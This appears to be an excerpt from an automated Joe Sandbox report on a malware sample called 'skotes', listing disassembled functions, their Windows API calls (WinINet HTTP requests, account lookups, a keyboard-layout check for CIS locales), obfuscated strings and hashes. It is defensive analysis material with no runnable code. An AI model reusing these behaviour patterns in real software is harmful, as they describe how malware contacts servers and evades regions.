Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: ce260ba639d0674e1b61cd739d70041987b98398585caab2fa6aee9a7548f52b
Instruction ID: 4c463aade4908dabafdf807505109ba2e7a95d7d833c87490575455dcf791135
Opcode Fuzzy Hash: ce260ba639d0674e1b61cd739d70041987b98398585caab2fa6aee9a7548f52b
Instruction Fuzzy Hash: E482C270A0428C9FEF14DF68C9497DEBFB6AF86304F508588E815673C2D7755A88CB92

Function 009065E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 00906680

Strings

ISNmfV==, xrefs: 009067D1
GSTmfV==, xrefs: 00906728
RySfdMLx, xrefs: 0090669C

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: dd880116ee4968f8bd0be7d13f2393dc30f1e015a077ccf6267560d54c511dc3
Instruction ID: 35781df2f8ae37d40bb67891faa267eca673764be5c1c2f5d19ab3687e9bbe43
Opcode Fuzzy Hash: dd880116ee4968f8bd0be7d13f2393dc30f1e015a077ccf6267560d54c511dc3
Instruction Fuzzy Hash: FC91A1B1A001189FDB28DB68CC85BDEB779EB85304F4085E9E51997282DB719BC48FA4

Function 0090EB4E Relevance: 30.1, APIs: 3, Strings: 13, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0090EB51
CreateDirectoryA.KERNEL32(00000000), ref: 0090EC83
GetFileAttributesA.KERNEL32(00000000), ref: 0090ED98

Strings

#, xrefs: 00910624
stoi argument out of range, xrefs: 009108C4
WTs=, xrefs: 009105CA
UA==, xrefs: 0090EC41, 0090ED56, 0090EF89, 0090F2CE
GiQaT29tduF=, xrefs: 0090FEB6
FisgLnsCZO1i, xrefs: 0090FF19
9c9aa5, xrefs: 0090FB8E
invalid stoi argument, xrefs: 009108B0
mxo1L0x, xrefs: 0090EE84
246122658369, xrefs: 0090F737, 0090FA14, 0090FE00, 009105E7
WDw=, xrefs: 0090F71D, 0090F9FA, 0090FDE3
111, xrefs: 0090F7A0
FCQgKF==, xrefs: 0090FEE4

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2267310118
Opcode ID: b3fd04cc6c0362fea64ac192123876e6b20e19de9be0082ee53bbd64f074368c
Instruction ID: 5d7ad37b3d8e0c4a10abe0ea85ffc9f647bfffd31c3c64985eb2cf9ee780175b
Opcode Fuzzy Hash: b3fd04cc6c0362fea64ac192123876e6b20e19de9be0082ee53bbd64f074368c
Instruction Fuzzy Hash: A1F24771B001489FEB18DB28CD897DDBB76AFC1304F548298E449A73D6DB768BC48B91

Function 0090BE30 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 313
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,707E67F5,?,00000000), ref: 0090BEB8
InternetOpenW.WININET(00958DC8,00000000,00000000,00000000,00000000), ref: 0090BEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0090BEEB
HttpOpenRequestA.WININET(?,00000000), ref: 0090BF35
HttpSendRequestA.WININET(?,00000000), ref: 0090BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 0090C0A7
InternetReadFile.WININET(?,00000000,000003FF,?,?,00000000,?,?), ref: 0090C161
InternetCloseHandle.WININET(?), ref: 0090C187
InternetCloseHandle.WININET(?), ref: 0090C18F
InternetCloseHandle.WININET(?), ref: 0090C197

Strings

8HJUeIfzLo==, xrefs: 0090C3CB, 0090C623
8HJUeMD Lq5=, xrefs: 0090C465
invalid stoi argument, xrefs: 0090E4F4
stoi argument out of range, xrefs: 0090E4EA
, xrefs: 0090CB06, 0090CCE4
RE1NXF==, xrefs: 0090BF0E

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range$
API String ID: 1439999335-3605104543
Opcode ID: 3a7c5b2672c042f974edef3e68d49b479a3143b2fa0ee7b381263f03653c3443
Instruction ID: 825b83e6e5cfb1f46e9a316196f27b3fb843634f7f4aee95a28bebd2ab6b30fd
Opcode Fuzzy Hash: 3a7c5b2672c042f974edef3e68d49b479a3143b2fa0ee7b381263f03653c3443
Instruction Fuzzy Hash: 66B1D1B1A101189FEB24CF28CC84B9EBB79EF85304F508299F509A72D1DB709AC4CF95

Function 00907D30 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00907ED3

Strings

JjsrQV==, xrefs: 00908092
`, xrefs: 00907DBD
JjssOl==, xrefs: 0090813A
JjsrPl==, xrefs: 0090828A
JjssPV==, xrefs: 009081E2
, xrefs: 00907DEA

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==$`$
API String ID: 1721193555-1628851660
Opcode ID: 01d9947624b8b0d751a00163b20ad17be557179d1c15a957c114cb9600fe300c
Instruction ID: a6b70425493e3911f2dfb97f173b2950498c41eabbf94f8480b58244a3eccb7b
Opcode Fuzzy Hash: 01d9947624b8b0d751a00163b20ad17be557179d1c15a957c114cb9600fe300c
Instruction Fuzzy Hash: 1AE10470F046549FDB14BB68CD0B39EBA71ABC2724F94469CE455AB3C2DB754E808BC2

Function 00906020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 0090617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00906271

Strings

00000419, xrefs: 00906098
0000043f, xrefs: 0090612B
Keyboard Layout\Preload, xrefs: 00906054
00000423, xrefs: 009060FA
00000422, xrefs: 009060C9

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
